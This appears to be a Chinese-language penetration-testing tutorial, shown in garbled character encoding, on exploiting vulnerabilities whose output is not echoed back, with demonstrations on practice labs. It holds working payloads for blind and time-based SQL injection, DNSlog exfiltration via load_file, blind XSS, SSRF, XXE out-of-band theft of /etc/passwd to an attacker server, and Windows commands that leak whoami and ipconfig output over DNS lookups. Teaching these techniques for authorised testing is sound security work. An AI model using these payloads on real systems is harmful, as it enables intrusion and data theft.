0x01前言
在滲透測(cè)試過(guò)程中,開(kāi)發(fā)不可能每一次都將結(jié)果輸出到頁(yè)面上,也就是漏洞無(wú)回顯的情況,那么在這種情況下,我們可以通過(guò)DNSlog判斷漏洞存在,或者通過(guò)起一個(gè)Python的http服務(wù)來(lái)判斷,方法很多,下面主要進(jìn)行一些情況的分析。
0x02無(wú)回顯概念
無(wú)回顯,即執(zhí)行的payload在站點(diǎn)沒(méi)有輸出,無(wú)法進(jìn)行進(jìn)一步操作。在滲透測(cè)試過(guò)程中,漏洞點(diǎn)不可能總是能夠在返回頁(yè)面進(jìn)行輸出,那么這時(shí)候就需要進(jìn)行一些無(wú)回顯利用了。
0x03不同漏洞的無(wú)回顯
1、SQL注入無(wú)回顯
SQL注入,作為OWASP常年占據(jù)榜首位置的漏洞,在無(wú)回顯中也是常見(jiàn)的。當(dāng)然SQL注入在無(wú)回顯上已經(jīng)具有了一定的解決措施。
無(wú)回顯我將其定義為頁(yè)面沒(méi)有輸出我們想要得到的內(nèi)容,下面以sqli-labs為例進(jìn)行講解。
1.1 布爾盲注
布爾盲注,盲注的一種,當(dāng)網(wǎng)站通過(guò)查詢語(yǔ)句的布爾值返回真假來(lái)輸出頁(yè)面信息的時(shí)候,查詢語(yǔ)句為真,頁(yè)面輸出內(nèi)容;查詢語(yǔ)句為假,頁(yè)面不輸出內(nèi)容。那么這里就可以通過(guò)構(gòu)造等號(hào)判斷,獲取相應(yīng)的字符的ascii碼,最后還原出數(shù)據(jù)。具體測(cè)試過(guò)程如下:
1、id傳參1之后,頁(yè)面返回有數(shù)據(jù),這里明顯不能進(jìn)行顯錯(cuò)注入了。
2、在傳參后面加個(gè)單引號(hào),頁(yè)面返回空,不顯示錯(cuò)誤信息,不能使用報(bào)錯(cuò)注入。
3、通過(guò)拼接and 1=1和and 1=2,發(fā)現(xiàn)頁(yè)面對(duì)于布爾值的真與假返回的頁(yè)面結(jié)果也不同。
4、通過(guò)length()函數(shù)判斷數(shù)據(jù)庫(kù)庫(kù)名的長(zhǎng)度大于1。
?id=1’ and length(database())>1 %23
5、在大于8的時(shí)候頁(yè)面返回空,所以數(shù)據(jù)庫(kù)庫(kù)名長(zhǎng)度等于8。
6、通過(guò)ascii()函數(shù)和substr ()截取函數(shù)獲取數(shù)據(jù)庫(kù)庫(kù)名的第一個(gè)字符的ascii碼
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
首先用大于號(hào)判斷出大概所處的值,最后使用等于號(hào)驗(yàn)證ascii碼的值。此處得出數(shù)據(jù)庫(kù)庫(kù)名的第一個(gè)字符的ascii碼值為115,對(duì)應(yīng)字符為s。
7、更改截取的位置,判斷后面的字符對(duì)應(yīng)的ascii碼值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23
1.2 延時(shí)盲注
延時(shí)盲注,一種盲注的手法。在滲透測(cè)試過(guò)程中當(dāng)我們不能使用顯錯(cuò)注入、報(bào)錯(cuò)注入以及布爾盲注無(wú)論布爾值為真還是為假,頁(yè)面都返回一樣之后,我們可以嘗試使用延時(shí)盲注,通過(guò)加載頁(yè)面的時(shí)間長(zhǎng)度來(lái)判斷數(shù)據(jù)是否成功。在php中有一個(gè)if()函數(shù),語(yǔ)法為if(exp1,exp2,exp3),當(dāng)exp1返回為真時(shí),執(zhí)行exp2,返回為假時(shí),執(zhí)行exp3。配合延時(shí)函數(shù)sleep()來(lái)獲取相應(yīng)數(shù)據(jù)的ascii碼,最后還原成數(shù)據(jù)。下面我將通過(guò)實(shí)例來(lái)介紹如今進(jìn)行延時(shí)盲注。
1、首先獲取的頁(yè)面如下,后面不論接上布爾值為真還是為假的,頁(yè)面都返回一樣,此時(shí)將不能使用布爾盲注。
2、通過(guò)and拼接延時(shí)函數(shù)查看頁(yè)面是否有延時(shí)回顯。首先記錄沒(méi)有使用延時(shí)函數(shù)的頁(yè)面返回時(shí)間,為4.*秒;使用sleep(5)延時(shí)5秒之后,頁(yè)面響應(yīng)時(shí)間為9.*秒,說(shuō)明對(duì)于我們輸入的sleep()函數(shù)進(jìn)行了延時(shí)處理,此處存在延時(shí)盲注。
3、通過(guò)延時(shí)注入判斷數(shù)據(jù)庫(kù)庫(kù)名的長(zhǎng)度。一個(gè)個(gè)測(cè)試發(fā)現(xiàn)當(dāng)長(zhǎng)度等于8時(shí)頁(yè)面延時(shí)返回了,說(shuō)明數(shù)據(jù)庫(kù)庫(kù)名長(zhǎng)度為8。
?id=2’ and if((length(database())=8),sleep(5),1) %23
4、與布爾盲注一樣,將子查詢的數(shù)據(jù)截?cái)嘀笈袛郺scii碼,相等時(shí)延時(shí)5秒。最后得到第一個(gè)字符的ascii碼為115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替換截?cái)嗟奈恢茫瑴y(cè)試后面的字符的ascii碼值。最后得到對(duì)應(yīng)的ascii碼值為115 101 99 117 114 105 116 121。通過(guò)ascii解碼工具解得數(shù)據(jù)庫(kù)庫(kù)名為security。
巧用dnslog進(jìn)行SQL注入
前面介紹了SQL注入中的盲注,通過(guò)布爾盲注或者延時(shí)盲注來(lái)獲取數(shù)據(jù)需要的步驟非常繁瑣,不僅需要一個(gè)一個(gè)字符的獲取,最后還需要進(jìn)行ascii解碼,這需要花費(fèi)大量的時(shí)間與精力。為了加快滲透進(jìn)程,以及降低獲取數(shù)據(jù)的難度,這里介紹如何通過(guò)dnslog進(jìn)行SQL注入。
Dnslog
dnslog,即dns日志,會(huì)解析訪問(wèn)dns服務(wù)的記錄并顯示出來(lái),常被用來(lái)測(cè)試漏洞是否存在以及無(wú)法獲取數(shù)據(jù)的時(shí)候進(jìn)行外帶數(shù)據(jù)。簡(jiǎn)單來(lái)說(shuō),dnslog就是一個(gè)服務(wù)器,會(huì)記錄所有訪問(wèn)它的記錄,包括訪問(wèn)的域名、訪問(wèn)的IP以及時(shí)間。那么我們就可以通過(guò)子查詢,拼接dnslog的域名,最后通過(guò)dns日志得到需要的數(shù)據(jù)。
Load_file()函數(shù)
數(shù)據(jù)庫(kù)中的load_file()函數(shù),可以加載服務(wù)器中的內(nèi)容。load_file(‘c:/1.txt’),讀取文件并返回內(nèi)容為字符串,使用load_file()函數(shù)獲取數(shù)據(jù)需要有以下幾個(gè)條件:
1.文件在服務(wù)器上
2.指定完整路徑的文件
3.必須有FILE權(quán)限
UNC路徑
UNC路徑就是類似softer這樣的形式的網(wǎng)絡(luò)路徑。它符合 服務(wù)器名服務(wù)器資源的格式。在windows系統(tǒng)中常用于共享文件。如192.168.1.1共享文件夾名。
Dnslog注入實(shí)例演示
1、打開(kāi)實(shí)例站點(diǎn),很明顯這里是只能使用盲注的站點(diǎn)。
2、通過(guò)order by判斷出字段數(shù)為3。
3、在dnslog網(wǎng)站申請(qǐng)一個(gè)dnslog域名:pcijrt.dnslog.cn
4、通過(guò)load_file函數(shù)拼接查詢數(shù)據(jù)庫(kù)庫(kù)名的子查詢到dnslog的域名上,后面任意接一個(gè)不存在的文件夾名。最后將這個(gè)查詢放到聯(lián)合查詢中,構(gòu)造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
5、執(zhí)行語(yǔ)句之后在dnslog日志中獲取到數(shù)據(jù)庫(kù)庫(kù)名為security。
6、修改子查詢里的內(nèi)容,獲取其他數(shù)據(jù)。
2、XSS無(wú)回顯
XSS無(wú)回顯比較特殊,一般XSS漏洞的判斷標(biāo)準(zhǔn)為彈框,但是有這樣一種情況,在一個(gè)表單提交處,內(nèi)容提交之后只會(huì)在頁(yè)面顯示提交成功與否,不會(huì)輸出提交的內(nèi)容,那么我們也就無(wú)法通過(guò)彈框來(lái)判斷XSS漏洞存在與否。這時(shí)候就需要通過(guò)XSS盲打來(lái)進(jìn)行攻擊。下面通過(guò)Pikachu漏洞練習(xí)平臺(tái)來(lái)進(jìn)行實(shí)例講解:
2.1 XSS盲打
1、如圖這里是一個(gè)提交看法的功能
2、隨便輸入內(nèi)容提交,告訴我們提交成功,沒(méi)有將我輸入的內(nèi)容返回到頁(yè)面中
3、登錄后臺(tái)可以看到確實(shí)有數(shù)據(jù)回顯
4、輸入彈框語(yǔ)句會(huì)在后臺(tái)成功執(zhí)行
5、在滲透測(cè)試過(guò)程中我們無(wú)法登錄后臺(tái)進(jìn)行查看,那么就需要盲打XSS,輸入XSS平臺(tái)的payload,坐等管理員查看內(nèi)容后上鉤。
2.2 通過(guò)dnslog判斷漏洞存在
payload:
<img src=http://xss.t7y3wc.dnslog.cn>
3、SSRF無(wú)回顯
SSRF即服務(wù)端請(qǐng)求偽造,一種由攻擊者構(gòu)造的通過(guò)服務(wù)器發(fā)起請(qǐng)求的攻擊。
測(cè)試代碼如下:
<?php
echo file_get_contents($_GET['url']);
?>
首先通過(guò)訪問(wèn)百度可以驗(yàn)證漏洞存在
無(wú)回顯情況即不進(jìn)行輸出,頁(yè)面返回空
這種情況可以通過(guò)dnslog或者python搭建http服務(wù)驗(yàn)證
1、DNSLOG
http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn
2、python起的http服務(wù)
python3 -m http.server 4545
4、XXE無(wú)回顯
因?yàn)閄ML是用來(lái)存儲(chǔ)傳輸數(shù)據(jù)的,除了確實(shí)是業(yè)務(wù)需要,否則開(kāi)發(fā)不可能會(huì)輸出內(nèi)容,也就是說(shuō)你確實(shí)讀取到了文件內(nèi)容,但是沒(méi)辦法看到。XXE無(wú)回顯問(wèn)題當(dāng)然也是可以通過(guò)在域名前面放入查詢出的內(nèi)容,將數(shù)據(jù)通過(guò)dns日志記錄下來(lái)。
XXE雖然不是通過(guò)DNSlog,但是也同樣是外帶數(shù)據(jù)。
流程如下:
在受害者網(wǎng)站中,我們通過(guò)請(qǐng)求攻擊者VPS上的1.xml文件,文件內(nèi)容為將某數(shù)據(jù)放在GET傳參中去訪問(wèn)2.php。然后2.php中的內(nèi)容為保存GET傳參的數(shù)據(jù),將數(shù)據(jù)放入到3.txt中。
具體文件內(nèi)容放在下面,里面的IP地址應(yīng)該為攻擊者的IP地址,這3個(gè)文件也是放在攻擊者VPS上。
1.xml
<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻擊者的IP地址/2.php?id=%file;'>">%all;
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_AppEND);?>
3.txt
內(nèi)容空
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服務(wù)器IP地址/xxe/1.xml">
%remote;
%send;
]>
5、命令執(zhí)行無(wú)回顯
簡(jiǎn)單的命令執(zhí)行站點(diǎn)
輸入任何命令都無(wú)回顯
5.1 Dnslog判斷漏洞存在
5.2Dnslog外帶數(shù)據(jù)
5.2.1 獲取windows用戶名
http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
5.2.2 其他命令執(zhí)行
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp
通過(guò)POST傳參測(cè)試
傳參的內(nèi)容需要進(jìn)行url編碼
Post傳參
Dnslog獲取結(jié)果
Base64解碼獲取內(nèi)容
總結(jié)
在滲透測(cè)試過(guò)程中,無(wú)回顯是很常見(jiàn)的,程序不可能將一些操作都回顯到頁(yè)面中,那么這種時(shí)候我們就需要外帶數(shù)據(jù)來(lái)獲取想要的內(nèi)容。當(dāng)然最好就是能夠反彈shell,通過(guò)獲取shell來(lái)執(zhí)行命令,這樣會(huì)舒服很多。
無(wú)回顯的情況還有很多很多,這里簡(jiǎn)單介紹了幾種,希望讀者朋友們能夠從中學(xué)到對(duì)于無(wú)回顯的情況下如何進(jìn)行滲透測(cè)試,方法很多,不固定,學(xué)習(xí)思路即可。